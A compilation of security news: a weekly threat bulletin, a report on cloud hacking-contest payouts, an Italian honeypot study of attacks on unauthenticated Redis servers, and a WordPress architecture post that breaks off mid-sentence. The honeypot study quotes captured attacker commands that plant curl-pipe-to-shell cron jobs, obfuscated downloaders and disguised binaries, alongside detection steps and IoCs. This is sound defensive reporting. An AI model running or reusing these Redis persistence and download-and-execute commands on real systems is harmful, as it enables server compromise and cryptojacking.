raccomanda di seguire le indicazioni riportate dal vendor presenti nella sezione Riferimenti.
acn.gov.itJan 19, 2026extracted
ThreatsDay Bulletin: AI Voice Cloning Exploit, Wi-Fi Kill Switch, PLC Vulns, and 14 More Stories
The internet never stays quiet. Every week, new hacks, scams, and security problems show up somewhere. This week’s stories show how fast attackers change their tricks, how small mistakes turn into big risks, and how the same old tools keep finding new ways to break in. Read on to catch up before the next wave hits. Unauthenticated RCE riskA high-severity security flaw has been disclosed in Redis (CVE-2025-62507, CVSS score: 8.8) that could potentially lead to remote code execution by means of a stack buffer overflow. It was fixed in version 8.3.2. JFrog's analysis of the flaw has revealed that the vulnerability is triggered when using the new Redis 8.2 XACKDEL command, which was introduced to simplify and optimize stream cleanup. Specifically, it resides in the implementation of xackdelCommand(), a function responsible for parsing and processing the list of stream IDs supplied by the user. "The core issue is that the code does not verify that the number of IDs provided by the client fits within the bounds of this stack-allocated array," the company said. "As a result, when more IDs are supplied than the array can hold, the function continues writing past the end of the buffer. This results in a classic stack-based buffer overflow." The vulnerability can be triggered remotely in the default Redis configuration just by sending a single XACKDEL command containing a sufficiently large number of message IDs. "It is also important to note that by default, Redis does not enforce any authentication, making this an unauthenticated remote code execution," JFrog added. As of writing, there are 2,924 servers susceptible to the flaw. Signed malware evasionBaoLoader, ClickFix campaigns, and Maverick emerged as the top three threats between September 1 and November 30, 2025, according to ReliaQuest. Unlike typical malware that steals certificates, BaoLoader's operators are known to register legitimate businesses in Panama and Malaysia specifically to purchase valid code-signing certificates from major certificate authorities to sign their payloads. "With these certificates, their malware appears trustworthy to both users and security tools, allowing them to operate largely undetected while being dismissed as merely potentially unwanted programs (PUPs)," ReliaQuest said. The malware, once launched, abuses "node.exe" to run malicious JavaScript for reconnaissance, in-memory command execution, and backdoor access. It also routes command-and-control (C2) traffic through legitimate cloud services, concealing outbound traffic as normal business activity and undermining reputation-based blocking. RMM abuse surgePhishing emails disguised as holiday party invitations, overdue invoices, tax notices, Zoom meeting requests, or document signing notifications are being used to deliver Remote Monitoring and Management (RMM) tools like LogMeIn Resolve, Naverisk, and ScreenConnect in multi-stage attack campaigns. In some cases, ScreenConnect is used to deliver secondary tools, including other remote access programs, alongside HideMouse and WebBrowserPassView. While the exact strategy behind installing duplicate remote access tools is not clear, it's believed that the threat actors may be using trial licenses, forcing them to switch them to avoid them expiring. In another incident analyzed by CyberProof, attackers transitioned from targeting an employee's personal PayPal account to establishing a corporate foothold through a multi-layered RMM strategy involving the use of LogMeIn Rescue and AnyDesk by tricking victims into installing the software over the phone by pretending to be support personnel. The email is designed to create urgency by masquerading as PayPal alerts. CAV operator caughtDutch authorities said they have arrested a 33-year-old at Schiphol for their alleged involvement in the operation of AVCheck, a counter-antivirus (CAV) service that was dismantled by a multinational law enforcement operation in May 2025. "The service offered by the suspect enabled cybercriminals to refine the concealment of malicious files each time," Dutch officials said. "It is very important for cybercriminals that as few antivirus programs as possible are able to detect the malicious activity, in order to maximize their chances of success in finding victims. In this way, the man enabled criminals to use the malware they had developed to claim as many victims as possible." Gemini powers SiriApple and Google have confirmed that the next version of Siri will use Gemini and its cloud technology in a multi-year collaboration between the two tech giants. "Apple and Google have entered into a multi-year collaboration under which the next generation of Apple Foundation Models will be based on Google's Gemini models and cloud technology," Google said. "These models will help power future Apple Intelligence features, including a more personalized Siri coming this year." Google emphasized that Apple Intelligence will continue to run on Apple devices and Private Cloud Compute, while maintaining Apple's industry-leading privacy standards. "This seems like an unreasonable concentration of power for Google, given that they also have Android and Chrome," Tesla and X CEO Elon Musk said. China bans foreign toolsChina has asked domestic companies to stop using cybersecurity software made by roughly a dozen firms from the U.S. and Israel due to national security concerns, Reuters reported, citing "two people briefed on the matter." This includes VMware, Palo Alto Networks, Fortinet, and Check Point. Authorities have reportedly expressed concerns that the software could collect and transmit confidential information abroad. RCE via AI librariesSecurity flaws have been disclosed in open-source artificial intelligence/machine learning (AI/ML) Python libraries published by Apple (FlexTok), NVIDIA (NeMo), and Salesforce (Uni2TS) that allow for remote code execution (RCE) when a model file with malicious metadata is loaded. "The vulnerabilities stem from libraries using metadata to configure complex models and pipelines, where a shared third-party library instantiates classes using this metadata," Palo Alto Networks Unit 42 said. "Vulnerable versions of these libraries simply execute the provided data as code. This allows an attacker to embed arbitrary code in model metadata, which would automatically execute when vulnerable libraries load these modified models." The third-party library in question is Meta's Hydra, specifically a function named "hydra.utils.instantiate()" that makes it possible to run code using Python functions like os.system(), builtins.eval(), and builtins.exec(). The vulnerabilities, tracked as CVE-2025-23304 (NVIDIA) and CVE-2026-22584 (Salesforce), have since been addressed by the respective companies. Hydra has also updated its documentation to state that RCE is possible when using instantiate() and that it has implemented a default list of blocklisted modules to mitigate the risk. "To bypass it, set the env var HYDRA_INSTANTIATE_ALLOWLIST_OVERRIDE with a colon-separated list of modules to allowlist," it said. AI voice evasionA group of academics has devised a technique called VocalBridge that can be used to bypass existing security defenses and execute voice cloning attacks. "Most existing purification methods are designed to counter adversarial noise in automatic speech recognition (ASR) systems rather than speaker verification or voice cloning pipelines," the team from the University of Texas at San Antonio said. "As a result, they fail to suppress the fine-grained acoustic cues that define speaker identity and are often ineffective against speaker verification attacks (SVA). To address these limitations, we propose Diffusion-Bridge (VocalBridge), a purification framework that learns a latent mapping from perturbed to clean speech in the EnCodec latent space. Using a time-conditioned 1D U-Net with a cosine noise schedule, the model enables efficient, transcript-free purification while preserving speaker-discriminative structure." Telecoms under scrutinyRussia's telecommunications watchdog Roskomnadzor has called out 33 telecom operators for failing to install traffic inspection and content filtering equipment. A total of 35 cases of violations were detected on the operators' networks. "Courts have already taken place in four cases, and fines have been issued to violators. Materials on six facts have been sent to the court. The remaining operators were summoned to draw up protocols," the Roskomnadzor said. In the aftermath of Russia's invasion of Ukraine in 2022, the agency has mandated that all telecom operators must install equipment that inspects user traffic and blocks access to "undesired" sites. Turla evasion tacticsA new analysis of a Turla malware known as Kazuar has revealed the various techniques the backdoor employs to evade security solutions and increase analysis time. This includes the use of the Component Object Model (COM), patchless Event Tracing for Windows (ETW), Antimalware Scan Interface (AMSI) bypass, and a control flow redirection trick to carry out the primary malicious routines during the second run of a function named "Qtupnngh," which then launches three Kazuar .NET payloads (KERNEL, WORKER, and BRIDGE) using multi-stage infection chain. "The core logic resides in the kernel, which acts as the primary orchestrator. It handles task processing, keylogging, configuration data handling, and so on," researcher Dominik Reichel said. "The worker manages operational surveillance by monitoring the infected host's environment and security posture, among its various other responsibilities. Finally, the bridge functions as the communications layer, facilitating data transfer and exfiltration from the local data directory through a series of compromised WordPress plugin paths." PLC flaws exposedCybersecurity researchers have disclosed details of multiple critical security vulnerabilities impacting the Delta Electronics DVP-12SE11T programmable logic controller (PLC) that pose severe risks ranging from unauthorized access to operational disruption in operational technology (OT) environments. The vulnerabilities include: CVE-2025-15102 (CVSS score: 9.8), a password protection bypass, CVE-2025-15103 (CVSS score: 9.8), an authentication bypass via partial password disclosure, CVE-2025-15358 (CVSS score: 7.5): a denial-of-service, and CVE-2025-15359 (CVSS score: 9.8), an out-of-bounds memory write. The issues were addressed via firmware updates in late December 2025. "Weaknesses in PLC authentication and memory handling can significantly increase operational risk in OT environments, particularly where legacy systems or limited network segmentation are present," OPSWAT Unit 515, which discovered the flaws during a security assessment in August 2025, said. Salesforce audit toolMandiant has released an open-source tool to help Salesforce admins audit misconfigurations that could expose sensitive data. Called AuraInspector, it has been described as a Swiss Army knife of Salesforce Experience Cloud testing. "It facilitates in discovering misconfigured Salesforce Experience Cloud applications as well as automates much of the testing process," Google said. This includes discovery of accessible records from both Guest and Authenticated contexts, the ability to get the total number of records of objects using the undocumented GraphQL Aura method, checks for self-registration capabilities, and discovery of "Home URLs", which could allow unauthorized access to sensitive administrative functionality. Wi-Fi DoS exploitA high-severity flaw (CVSS score: 8.4) in Broadcom Wi-Fi chipset software can allow an unauthenticated attacker within radio range to completely take wireless networks offline by sending a single malicious frame, regardless of the configured network security level, forcing routers to be manually rebooted before connectivity can be restored. The flaw affects 5GHz wireless networks and causes all connected clients, including guest networks, to be disconnected simultaneously. Ethernet connections and the 2.4 GHz network are not affected. "This vulnerability allows an attacker to make the access point unresponsive to all clients and terminate any ongoing client connections," Black Duck said. "If data transmission to subsequent systems is ongoing, the data may become corrupted or, at a minimum, the transmission will be interrupted." The attack bypasses WPA2 and WPA3 protections, and it can be repeated indefinitely to cause prolonged network disruptions. Broadcom has released a patch to address the reported problem. Additional details have been withheld due to the potential risk it poses to numerous systems that use the chipset. Smart contract exploitUnknown threat actors have stolen $26 million worth of Ether from the Truebit cryptocurrency platform by exploiting a vulnerability in the company's five-year-old smart contract. "The attacker exploited a mathematical vulnerability in the smart contract’s pricing of the TRU token, which set its value very close to zero," Halborn said. "With access to a low-cost source of TRU tokens, the attacker was able to drain value from the contract by selling them back to the contract at full price. The attacker performed a series of high-value mint requests that netted them a large amount of TRU tokens at negligible cost." Invoice lure campaignA new wave of attacks has been found to leverage invoice-themed lures in phishing emails to deceive recipients into opening a PDF attachment that displays an error message, instructing them to download the file by clicking on a button. Some of the links redirect to a page disguised as Google Drive that mimics MP4 video files, but, in reality, drop RMM tools such as Syncro, SuperOps, NinjaOne, and ScreenConnect for persistent remote access. "As they are not malware like backdoors or Remote Access Trojans (RATs), threat actors are increasingly leveraging them," AhnLab said. "This is because these tools have been designed to evade detection by security products like firewalls and anti-malware solutions, which are limited to simply detecting and blocking known malware strains." Taiwan hospitals hitA ransomware strain dubbed CrazyHunter has compromised at least six companies in Taiwan, most of them being hospitals. A Go-based ransomware and a fork of the Prince ransomware, it employs advanced encryption and delivery methods targeted against Windows-based machines, per Trellix. It also maintains a data leak site to publicize victim information. "The initial compromise often involves exploiting weaknesses in an organization's Active Directory (AD) infrastructure, frequently by leveraging weak passwords on domain accounts," the company said. The threat actors have been found to use SharpGPOAbuse to distribute the ransomware payload through Group Policy Objects (GPOs) and propagate it across the network. A modified Zemana anti-malware driver is used to elevate their privileges and kill security processes as part of a Bring Your Own Vulnerable Driver (BYOVD) attack. CrazyHunter is assessed to be active since at least early 2025, with Taiwanese authorities describing it as a Chinese hacker group comprising two individuals, Luo and Xu, who sold the stolen data to trafficking groups in both China and Taiwan. Two Taiwanese suspects alleged to be involved in data trafficking were arrested and subsequently released on bail last August. That’s the wrap for this week. These stories show how fast things can change and how small risks can grow big if ignored. Keep your systems updated, watch for the quiet stuff, and don’t trust what looks normal too quickly. Next Thursday, ThreatsDay will be back with more short takes from the week’s biggest moves in hacking and security.
thehackernews.comJan 15, 2026extracted
$320,000 Paid Out at Zeroday.Cloud for Open Source Software Exploits
Researchers earned a total of $320,000 at the Zeroday.Cloud live hacking competition organized this week in London by cloud security giant Wiz. Wiz teamed up with AWS, Google Cloud, and Microsoft for Zeroday.Cloud, which had a total prize pool of $4.5 million for vulnerabilities in core cloud and AI technologies. Participants were invited to demonstrate exploits across six categories, including AI, Kubernetes and cloud native, containers and virtualization, web server, DevOps and automation, and database. Rewards ranging between $10,000 and $300,000 have been offered. The white hat hackers who took part in the event earned a total of $320,000 for 11 exploits targeting various open source technologies. On the first day of Zeroday.Cloud, researchers were awarded a total of $200,000. The biggest single payout was $40,000 for a Linux kernel exploit. Researchers earned $30,000 each for five database system exploits: three targeting Redis and two aimed at PostgreSQL. An authenticated remote code execution exploit targeting the Grafana observability platform earned a team $10,000. On the second day, participants earned a total of $120,000. Three different targets were successfully compromised for $30,000 each: PostgreSQL, MariaDB, and Redis. Redis was exploited a second time, bringing its total reward for the day to $60,000. Researchers also attempted to demonstrate exploits for the vLLM and Ollama LLM tools, but their attempts were unsuccessful within the allotted timeframe. Related: Trump Signs Executive Order to Block State AI Regulations Related: Google Patches Gemini Enterprise Vulnerability Exposing Corporate Data Related: Google Fortifies Chrome Agentic AI Against Indirect Prompt Injection Attacks Related: Vulnerability in OpenAI Coding Agent Could Facilitate Attacks on Developers
securityweek.comDec 12, 2025extracted
Server Redis lasciati senza protezione: ecco come li sfruttano gli attaccanti
La vulnerabilità RediShell (CVE-2025-49844) ha appena scosso il mondo della sicurezza con un severity score perfetto di 10 su 10. In un contesto dove ci sono 60.000 server Redis connessi a Internet senza alcuna password. Con un costo medio di violazione dei dati di 4,4 milioni di dollari per le aziende, questi punti di accesso hanno un’esposizione a potenziali danni per oltre 200 miliardi di dollari. Solo in Italia ci sono oltre 300 di questi server esposti, con un impatto potenziale di 1,32 miliardi di dollari. Abbiamo indagato su cosa succede quando questi server sono esposti e osservato i comportamenti degli attaccanti. Indice degli argomenti Scoperta da Wiz Research il 3 ottobre 2025, la CVE-2025-49844 è una criticità di esecuzione di codice da remoto. Un bug di corruzione della memoria di tipo use-after-free rimasto nascosto per 13 anni nel motore di scripting Lua e presente in tutte le versioni di Redis. Per essere sfruttata, però, la falla richiede una connessione autenticata. Non sarebbe un grande problema, se non fosse che oltre 60.000 server Redis sono esposti senza password. RediShell è stata rapidamente corretta negli ambienti gestiti. Ma per quei 60.000 server che accettano connessioni senza autenticazione, i rischi non finiscono: sono esposti a tutto. Senza autenticazione, chiunque si connetta risulta di fatto “autenticato”. Queste istanze diventano quindi vulnerabili non solo a exploit avanzati come la CVE-2025-49844, ma anche ad attacchi banali: accesso ai dati, esecuzione di comandi, cryptojacking, esfiltrazione di dati. Su circa 360.000 istanze Redis pubblicamente accessibili, 60.000, quasi una su sei, non richiedono password. Niente credenziali, chiavi API o certificati: basta una connessione TCP alla porta 6379 per ottenere pieno accesso in lettura e scrittura. Volevamo capire, con precisione, cosa succede quando un attaccante si imbatte in questi server. Per questa ricerca, abbiamo distribuito honeypot Redis configurati per rispecchiare esattamente le configurazioni errate che vediamo negli ambienti reali: nessuna autenticazione, impostazioni predefinite, porta 6379 pubblicamente accessibile. Abbiamo posizionato i nostri emulatori tra le 60.000 istanze vulnerabili in attesa di vedere cosa sarebbe successo. I nostri honeypot hanno intercettato un’operazione di cryptojacking attiva e organizzata, diffusa su più continenti e provider cloud. Gli attacchi sono arrivati da 15 Paesi, appoggiandosi all’infrastruttura dei principali cloud provider e sfruttando tecniche diverse. In sintesi: Provider cloud: Alibaba Cloud, Tencent Cloud, Baidu Cloud, Microsoft Azure, DigitalOcean, Oracle Cloud. Gruppi di threat actor: cinque gruppi distinti identificati, ciascuno con infrastruttura e varianti di malware uniche. Tecniche di attacco: quattro pattern distinti documentati, dalla classica persistenza basata su cron a metodi di evasione innovativi. Gli attaccanti hanno sfruttato soprattutto infrastrutture di provider cinesi (Alibaba Cloud, Tencent Cloud, Baidu Cloud), ma i server vulnerabili sono distribuiti ovunque, senza un singolo Paese dominante. I primi tre, USA (20,3%), Cina (16,91%) e Germania (7,71%), rappresentano meno della metà delle istanze esposte. È un problema globale, con attaccanti globali. Concorrenza tra gruppi: più team ostili tentano di compromettere gli stessi honeypot, a distanza di pochi minuti. Ricognizione lampo: la scansione automatizzata individua i target in tempi rapidissimi. Fonti non mappate: diversi IP non risultano nei principali database di threat intelligence (es. GreyNoise). Analizzando gli IP attaccanti, abbiamo scoperto che tanti di essi non erano ancora stati segnalati in GreyNoise o flaggati come malicious su AbuseIPDB, piattaforme leader nel monitoraggio delle attività di scansione su Internet: Questo dimostra un vantaggio chiave della threat intelligence basata su honeypot, scoprire attaccanti ed indirizzi IP malevoli prima che compaiano nei database pubblici, fornendo avvisi preventivi prima che gli aggressori compromettano i sistemi di produzione. Gli attacchi non si sono mai fermati. Le tecniche si sono evolute. E ogni interazione ha rivelato qualcosa di più su come queste organizzazioni criminali operano su larga scala. Come dicevamo, su circa 360.000 istanze Redis pubbliche, 60.000 (16,7%) non richiedono alcuna autenticazione. Ma dove si trovano questi 60.000 server vulnerabili? I primi 10 Paesi sono riportati nella tabella sottostante. Si tratta, dunque, di un problema realmente globale. Dagli Stati Uniti alla Finlandia, dal Brasile a Singapore: istanze Redis vulnerabili in oltre 50 Paesi. Prevalenza: 87% degli attacchi osservati Gruppi coinvolti: TA-NATALSTATUS, Cleanfda, Kinsing, WatchDog Il pattern di attacco più diffuso che abbiamo osservato abusa della funzionalità di backup di Redis per ottenere l’esecuzione e la persistenza del codice: Passo 1: Cancellare i dati esistenti FLUSHALL Passo 2: Disabilitare il controllo degli errori CONFIG SET stop-writes-on-bgsave-error “no” Passo 3: Iniettare payload di cron job SET backup1 “\n\n\n*/2 * * * * curl -fsSL http://194[.]110.247.97/ep9TS2/ndt.sh | sh\n\n” Passo 4: Cambiare la posizione di backup nella directory cron CONFIG SET dir “/var/spool/cron/” Passo 5: Impostare il nome del file di backup CONFIG SET dbfilename “root” Passo 6: Salvare la configurazione (scrive i cron job) Questa tecnica è efficace perché: Sfrutta funzioni legittime: usa il meccanismo di backup di Redis Non richiede exploit: basta un’istanza non autenticata Colpisce più directory cron: /var/spool/cron/, /var/spool/cron/crontabs, /etc/cron.d/ Molteplici voci: utilizza job programmati a intervalli diversi per aumentare la probabilità di esecuzione Gli script shell scaricati tipicamente: Scaricano stadi successivi di malware Eliminano miner concorrenti, facendo effettivamente il lavoro di un antivirus per un breve periodo Installano cryptominer (prevalentemente varianti XMRig) Impostano meccanismi multipli di persistenza Attivano watchdog per riavvio dei processi In questo pattern gli attaccanti usano uno script inline Python per scaricare payload camuffando i domini con dei backslash: python -c “import urllib2; print urllib2.urlopen(‘http://\\b.\\c\\l\\u-e[.]eu/t.sh’).read()” >.1;chmod +x .1;./.1 I backslash servono a più scopi: Aggirare filtri URL basati su stringhe Eludere i controlli di reputazione del dominio Ridurre l’efficacia del rilevamento regex In Python sono interpretati come escape in fase di esecuzione Gruppo: RedisRaider Prima osservazione: 2025 (documentato da Datadog) In questo pattern, gli attaccanti mascherano il loro malware come file immagine: u=”http://a[.]hbweb.icu:8080/uploads/2024-7/99636-5b0c-4999-b.png” t=”/tmp” f=”mysql” if ! [ -f “$t/$f” ]; then if which curl; then curl $u -o $t/$f > /dev/null 2>&1 fi fi chmod +x $t/$f PATH=$t:$PATH nohup $f > /dev/null 2>&1 & L’immagine è in realtà un eseguibile ELF: nonostante l’estensione .png è un file binario Percorso in /tmp/mysql: si finge un’utility MySQL Esecuzione silenziosa: output dirottato su /dev/null CVE: CVE-2020-11981 (Apache Airflow) Esito: tentativi non riusciti (payload segnaposto) La CVE-2020-11981 è una vulnerabilità nell’executor Celery di Apache Airflow che consente l’iniezione di comandi via Redis. Abbiamo osservato numerosi tentativi di sfruttarla: { “command”: “LPUSH”, “args”: [ “default”, “{\”headers\”: {\”task\”: \”airflow.executors.celery_executor.execute_command\”}, \”body\”: \”W1tbImN1cmwiLCAiaHR0cDovL3t7aW50ZXJhY3RzaC11cmx9fSJdXQ==\”}” ] Decodificato in base64, il payload rivela: [[“curl”, “http://{{interactsh-url}}”]] Il placeholder {{interactsh-url}} segnala l’uso di strumenti di scansione automatizzata, non un exploitation manuale. I nostri honeypot sono stati presi di mira da 103 indirizzi IP unici in 7 Paesi: L’analisi delle informazioni ISP sugli IP attaccanti rivela un forte ricorso ai principali provider cloud: Sulla base degli URL dei payload e dell’infrastruttura osservata, abbiamo identificato cinque gruppi distinti attivi contro i nostri honeypot. Infrastruttura osservata: Dominio principale: natalstatus.org Infrastruttura di backup: matrix.masscan.cloud Indirizzi IP: 103.79.77.16, 194.110.247.97, 45.83.122.25, e altri Pattern di attacco: persistenza via cron Payload osservati: ndt.sh, nnt.sh, is.sh, httpgd, pnscan.tar.gz Infrastruttura osservata: Dominio: en2an.top Indirizzi IP: 45.83.123.29, 45.128.150.171, 79.137.195.151 Pattern di attacco: iniezione via cron Infrastruttura osservata: Domini: pyats.top, soc.xiaoshabi.nl, soc.dashabi.in Indirizzo IP: 45.83.122.25 Pattern di attacco: iniezione via cron. Infrastruttura osservata: Dominio: oracle.zzhreceive.top Pattern di attacco: iniezione via cron Infrastruttura osservata: Dominio: a.hbweb.icu:8080 Payload: file PNG mascherato Pattern di attacco: malware mascherato da PNG 1) Distribuzione automatizzata Honeypot realistici operativi in pochi minuti Preconfigurati con gli errori più comuni Ambienti emulati ad alta interazione, totalmente isolati 2) Intelligence in tempo reale Ogni comando, connessione e payload è catturato con contesto completo: IP di origine, porta, geolocalizzazione Sequenze integrali di comandi URL dei payload e file scaricati Timing e correlazioni 3) Analisi automatica delle minacce La piattaforma Tropico: Estrae IoC (IP, domini, URL, hash) Correla attacchi tra più honeypot Identifica pattern e TTP dei gruppi Arricchisce con fonti di threat intelligence esterne Genera regole di rilevamento azionabili Se utilizzi Redis, verifica subito questi indicatori: Controlla i crontab degli utenti crontab -l Controlla le directory cron di sistema cat /etc/cron.d/* cat /var/spool/cron/* cat /var/spool/cron/crontabs/* Cerca voci sospette grep -r “curl\|wget” /etc/cron* /var/spool/cron* Segnali di allarme: Voci che non hai creato URL che scaricano script shell Comandi passati via pipe a sh o bash Temporizzazioni ricorrenti sospette (*/2, */3) 2) Controlla i processi in esecuzione Cerca miner e processi sospetti ps aux | grep -iE “xmrig|miner|kinsing|mysql|httpgd” | grep -v grep Controlla l’uso della CPU top -bn1 | head -20 Controlla le connessioni di rete netstat -antup | grep ESTABLISHED 3) Controlla la configurazione di Redis redis-cli CONFIG GET dir CONFIG GET dbfilename CONFIG GET requirepass Verifica: Directory impostate su /var/spool/cron/ o /etc/cron.d/ Nomi insoliti di dbfilename (httpgd, zzh, networke, root, apache) requirepass vuoto (nessuna autenticazione) Posizioni comuni per file rilasciati ls -la /tmp/ | grep -iE “mysql|httpgd|kinsing” ls -la /var/tmp/ ls -la /dev/shm/ Controlla i file nascosti Se trovi evidenze di compromissione: Isola subito – disconnetti il server dalla rete Preserva le prove – dump memoria e snapshot disco per forensics Termina i processi – dopo averli documentati Rimuovi la persistenza – ripulisci i cron job Patching e hardening – applica le raccomandazioni di sicurezza Monitoraggio stretto – gli attaccanti tendono a tornare Importante: in produzione valuta seriamente il reimaging completo. I cryptominer installano spesso molteplici meccanismi di persistenza difficili da estirpare. Tutti e quattro i pattern osservati si possono prevenire con l’hardening standard di Redis: Abilitare l’autenticazione (requirepass) Effettuare il binding solo a localhost (bind 127.0.0.1) Disabilitare comandi rischiosi come CONFIG Per i dettagli, fare riferimento alla documentazione ufficiale sulla sicurezza di Redis. Domini malevoli che ospitano payload: natalstatus[.]org matrix[.]masscan.cloud en2an[.]top pyats[.]top soc[.]xiaoshabi.nl soc[.]dashabi.in oracle[.]zzhreceive.top a[.]hbweb.icu b[.]clu-e.eu kiss[.]a-dog.top s[.]na-cs.com Indirizzi IP malevoli che ospitano payload: 103[.]79.77.16 194[.]110.247.97 45[.]83.122.25 45[.]89.52.41 185[.]19.33.145 104[.]164.55.217 45[.]128.150.171 45[.]83.123.29 79[.]137.195.151 149[.]28.85.17 Indirizzi IP sorgenti d’attacco: 101[.]200.120.136 101[.]42.65.19 103[.]252.73.158 103[.]44.246.249 103[.]60.12.200 103[.]8.70.102 106[.]12.184.7 106[.]13.124.241 106[.]13.45.232 106[.]227.11.236 106[.]54.198.127 106[.]75.241.127 111[.]230.36.157 112[.]124.109.246 113[.]24.66.57 114[.]80.32.147 114[.]80.35.241 115[.]190.120.244 115[.]190.19.111 116[.]176.75.105 117[.]50.47.100 118[.]121.27.103 119[.]45.248.246 119[.]59.125.57 120[.]24.174.153 120[.]26.19.77 120[.]48.43.118 120[.]53.106.134 120[.]78.5.126 121[.]229.168.114 121[.]40.117.170 121[.]41.118.136 121[.]41.166.56 122[.]97.138.181 123[.]56.141.52 123[.]56.21.250 123[.]57.108.165 123[.]59.3.41 124[.]220.224.126 125[.]67.236.54 125[.]74.55.217 125[.]88.205.65 129[.]204.44.106 139[.]196.183.183 139[.]198.30.179 14[.]103.198.15 14[.]103.220.97 14[.]18.118.84 14[.]225.231.96 14[.]29.224.105 140[.]238.153.39 161[.]35.0.118 164[.]90.134.127 172[.]184.113.203 172[.]184.221.38 180[.]76.114.78 180[.]76.183.146 182[.]43.64.3 182[.]92.181.218 183[.]136.170.208 183[.]56.219.190 183[.]56.243.176 185[.]227.153.56 20[.]245.216.153 20[.]66.108.191 218[.]56.58.202 218[.]59.175.217 218[.]78.131.154 221[.]130.29.85 223[.]64.222.218 27[.]109.125.239 27[.]185.41.158 36[.]111.32.107 36[.]137.101.189 36[.]137.20.86 36[.]139.84.140 36[.]7.107.206 39[.]105.1.165 39[.]105.211.89 39[.]106.9.47 39[.]107.103.199 39[.]91.87.110 39[.]98.228.131 40[.]125.45.98 43[.]134.0.85 43[.]139.215.177 47[.]106.66.34 47[.]117.110.149 47[.]117.87.239 47[.]119.152.13 47[.]120.12.89 47[.]76.237.87 47[.]83.194.219 47[.]86.3.225 47[.]94.213.192 47[.]96.228.248 47[.]97.229.80 47[.]97.45.131 49[.]115.217.27 52[.]225.84.224 57[.]154.191.64 8[.]130.119.172 8[.]136.108.109 8[.]138.183.134 8[.]140.150.7 8[.]142.178.14 8[.]142.178.141 81[.]70.2.239 82[.]157.180.148 La nostra rete di honeypot Redis ha portato alla luce un ecosistema attivo di gruppi ostili che prendono di mira le 60.000 istanze non autenticate esposte su Internet. Abbiamo identificato cinque gruppi distinti, ciascuno con infrastrutture e tecniche proprie per compromettere i server vulnerabili. 1) Superficie di attacco enorme Con 360.000 istanze pubbliche e 60.000 senza autenticazione, l’esposizione è ampia. I nostri honeypot sono stati individuati e sfruttati nel giro di poche ore. 2) Quattro tecniche in uso attivo Le tecniche più utilizzate: Persistenza via cron Downloader Python con escape Malware camuffato da PNG Tentativi su CVE-2020-11981. 3) Infrastrutture cloud in prima linea L’82,5% degli IP attaccanti proviene da infrastrutture cinesi: Alibaba Cloud Tencent, Baidu CHINANET Il 9,7% da provider statunitensi: Microsoft Azure DigitalOcean 4) Cinque gruppi identificati I più attivi contro istanze Redis configurate in modo errato: TA-NATALSTATUS Cleanfda Kinsing WatchDog RedisRaider Se gestisci server Redis: Verifica se l’istanza è pubblicamente accessibile Abilita requirepass Effettua il binding solo a localhost (bind 127.0.0.1) Rivedi i crontab e rimuovi voci sospette Blocca gli IoC elencati Per dare più tempo al team di sicurezza per rispondere ad un attacco, prevenire gli attacchi, ed imporre un costo in termini di tempo e risorse all’attaccante, valuta l’adozione di tecnologie di deception, come la piattaforma Tropico, per intercettare gli attacchi prima che tocchino le macchine in produzione.
cybersecurity360.itNov 12, 2025extracted
Under the engineering hood: Why Malwarebytes chose WordPress as its CMS
It might surprise some that a security company would choose WordPress as the backbone of its digital content operations. After all, WordPress is often associated with open-source plugins, community themes, and a wide range of deployment practices—some stronger than others. But that perception overlooks what modern WordPress can deliver when it’s architected, operated, and governed with discipline. In our Digital Experience Platform (DXP) at Malwarebytes, WordPress serves as the content layer—an editorial hub that feeds multiple customer experiences. The reason is pragmatic and security-forward. WordPress offers transparency (open code and ecosystem), control (self-hosted in our environment, with strict governance), and maturity (a seasoned core with an established security model). Combined with a decoupled architecture, strong identity and access controls, rigorous supply chain management, and a hardened infrastructure, WordPress becomes an ideal content engine for an enterprise-grade, security-first DXP within an enterprise-grade MarTech stack. DXP vision and the role of WordPress When we say DXP, we mean the orchestration layer that brings together content, personalization, analytics, experimentation, commerce, support experiences, and more. It’s not a single product; it’s the way we coordinate systems to deliver cohesive customer journeys across web, mobile, and product surfaces. In that model, WordPress is our content authoring hub. Editors draft, review, and publish content once; APIs then power multiple front-ends—websites built with Next.js/React, mobile applications, and support portals. This headless pattern decouples the authoring experience from delivery. Why decouple? By delivering both static and server-side rendered (SSR) pages directly from the edge, we meet aggressive latency goals and excel in Core Web Vitals scores on a global scale. This approach ensures content is as close as possible to end users, providing consistently fast load times regardless of location. Our architecture isolates site performance from backend processes, meaning bursts of traffic or complex deployments don’t degrade the visitor experience. Security isolation is equally foundational to our platform design. The public-facing runtime never exposes the WordPress admin interface or control endpoints—instead, these administrative components reside securely behind private networking, protected by robust access controls and authentication. This segmentation shields both business-critical operations and sensitive data, lowering the attack surface and reducing risk without impeding editors or developers. This architecture also boosts development velocity. Front-end engineers can iterate rapidly, independently releasing new features or improvements without being bottlenecked by backend deployments. At the same time, content editors retain full publishing agility via the headless CMS, able to launch and update site content at will. This parallel, decoupled workflow ensures that technical and editorial teams each operate at their highest efficiency, supporting an environment of continuous innovation and timely content delivery. How speed helps security Rapid and reliable deployments are a cornerstone of our security posture, empowering us to respond quickly to new threats and vulnerabilities. By streamlining and automating our release processes, we can efficiently ship patches and mitigations as soon as issues arise, minimizing the window of exposure. Equally important, our deployment pipelines are built to support safe rollbacks, allowing us to confidently revert any changes that introduce instability or unexpected behavior—maintaining operational continuity no matter how urgent the circumstances. Shortening our development and deployment cycle is not just about speed—it’s one of the most effective security controls we employ. Frequent, predictable deploys mean our systems are always running the latest protections and bug fixes, dramatically reducing the risks associated with outdated code or configurations. This agility ensures we stay ahead of evolving threats, support innovation without sacrificing safety, and adapt to changing requirements with minimal disruption, making security a continuous, integrated aspect of our delivery workflow. Why WordPress aligns with security-first Open-source transparency matters. With WordPress, we can inspect every line of core and plugin code, run our own audits, and make informed decisions about the attack surface. The community’s response to security issues adds resilience through coordinated disclosures, rapid patches, and widely disseminated advisories. The core platform is mature and stable. The WordPress security team has established processes for responsible disclosure and a consistent patch cadence. Operating close to core (and avoiding heavy core modifications) enables us to adopt updates quickly. Finally, talent availability accelerates secure outcomes. A large pool of WordPress developers and security practitioners means faster remediation, effective code reviews, and a healthy ecosystem of best practices and tooling. Architecture that reduces risks Headless/decoupled architecture Our public website leverages the powerful combination of a Content Delivery Network (CDN) and a Web Application Firewall (WAF) to deliver a seamless and secure user experience. By distributing static content across global edge locations, the CDN ensures lightning-fast load times while also enabling server-side rendering at the edge for dynamic content. This hybrid approach allows us to serve both static and server-rendered pages efficiently, providing relevant content with minimal latency. Positioned behind the CDN, the WAF offers an added layer of security by blocking malicious traffic and safeguarding our site from threats, ensuring that both performance and protection are at the forefront of our web 